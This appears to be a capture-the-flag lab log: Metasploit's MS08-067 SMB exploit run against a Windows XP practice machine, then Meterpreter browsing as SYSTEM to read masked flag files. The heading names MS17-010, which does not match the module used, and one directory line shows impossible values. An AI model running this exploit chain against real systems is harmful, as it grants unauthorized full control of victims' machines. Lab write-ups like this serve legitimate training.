```
--------------------------------------------------------------------------------
Exploit SMB windows MS17-010
--------------------------------------------------------------------------------

└──╼ [★]$ ping 10.129.1.111
└──╼ [★]$ nmap -Pn -T4 -A -v 10.129.1.111
└──╼ [★]$ msfconsole
msf5 > use exploit/windows/smb/ms08_067_netapi
msf5 exploit(windows/smb/ms08_067_netapi) > set rhost 10.129.1.111
rhost => 10.129.1.111
msf5 exploit(windows/smb/ms08_067_netapi) > exploit

meterpreter > pwd
C:\WINDOWS\system32
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > cd ..
meterpreter > dir
Listing: C:\
============

Mode                Size               Type  Last modified                   Name
----                ----               ----  -------------                   ----
100777/rwxrwxrwx    0                  fil   2017-03-16 05:30:44 +0000       AUTOEXEC.BAT
100666/rw-rw-rw-    0                  fil   2017-03-16 05:30:44 +0000       CONFIG.SYS
40777/rwxrwxrwx     0                  dir   2017-03-16 05:20:29 +0000       Documents and
Settings
100444/r--r--r--    0                  fil   2017-03-16 05:30:44 +0000       IO.SYS
100444/r--r--r--    0                  fil   2017-03-16 05:30:44 +0000       MSDOS.SYS
100555/r-xr-xr-x    47564              fil   2008-04-13 20:13:04 +0000       NTDETECT.COM
40555/r-xr-xr-x     0                  dir   2017-03-16 05:20:57 +0000       Program Files
40777/rwxrwxrwx     0                  dir   2017-03-16 05:20:30 +0000       System Volume
Information
40777/rwxrwxrwx     0                  dir   2017-03-16 05:18:34 +0000       WINDOWS
100666/rw-rw-rw-    211                fil   2017-03-16 05:20:02 +0000       boot.ini
100444/r--r--r--    250048             fil   2008-04-13 22:01:44 +0000       ntldr
230601544/r-xr--r--  180703292916006895  fif   5735263703-07-17 23:19:28 +0000  pagefile.sys

eterpreter > cd Documents\ and\ Settings
meterpreter > dir
Listing: C:\Documents and Settings
==================================

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40777/rwxrwxrwx  0     dir   2017-03-16 06:07:20 +0000  Administrator
40777/rwxrwxrwx  0     dir   2017-03-16 05:20:29 +0000  All Users
40777/rwxrwxrwx  0     dir   2017-03-16 05:20:29 +0000  Default User
40777/rwxrwxrwx  0     dir   2017-03-16 05:32:52 +0000  LocalService
40777/rwxrwxrwx  0     dir   2017-03-16 05:32:42 +0000  NetworkService
40777/rwxrwxrwx  0     dir   2017-03-16 05:33:41 +0000  john

meterpreter > cd Administrator
meterpreter > dir
Listing: C:\Documents and Settings\Administrator
================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40555/r-xr-xr-x   0       dir   2017-03-16 06:07:20 +0000  Application Data
40777/rwxrwxrwx   0       dir   2017-03-16 06:07:20 +0000  Cookies
40777/rwxrwxrwx   0       dir   2017-03-16 06:07:20 +0000  Desktop
40555/r-xr-xr-x   0       dir   2017-03-16 06:07:20 +0000  Favorites
40777/rwxrwxrwx   0       dir   2017-03-16 06:07:20 +0000  Local Settings
40555/r-xr-xr-x   0       dir   2017-03-16 06:07:20 +0000  My Documents
100666/rw-rw-rw-  786432  fil   2017-03-16 06:07:20 +0000  NTUSER.DAT
100666/rw-rw-rw-  1024    fil   2017-03-16 06:07:20 +0000  NTUSER.DAT.LOG
40777/rwxrwxrwx   0       dir   2017-03-16 06:07:20 +0000  NetHood
40777/rwxrwxrwx   0       dir   2017-03-16 06:07:20 +0000  PrintHood
40555/r-xr-xr-x   0       dir   2017-03-16 06:07:20 +0000  Recent
40555/r-xr-xr-x   0       dir   2017-03-16 06:07:20 +0000  SendTo
40555/r-xr-xr-x   0       dir   2017-03-16 06:07:20 +0000  Start Menu
40777/rwxrwxrwx   0       dir   2017-03-16 06:07:20 +0000  Templates
```

```
100666/rw-rw-rw-  178     fil   2017-03-16 06:07:21 +0000  ntuser.ini

meterpreter > cd Desktop
meterpreter > dir
Listing: C:\Documents and Settings\Administrator\Desktop
=======================================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100444/r--r--r--  32    fil   2017-03-16 06:18:19 +0000  root.txt

meterpreter > cat root.txt
993442d258b0**********

meterpreter > dir
Listing: C:\Documents and Settings\john\Desktop
===============================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100444/r--r--r--  32    fil   2017-03-16 06:19:32 +0000  user.txt

meterpreter > cat user.txt
e69af0e4f443**********
```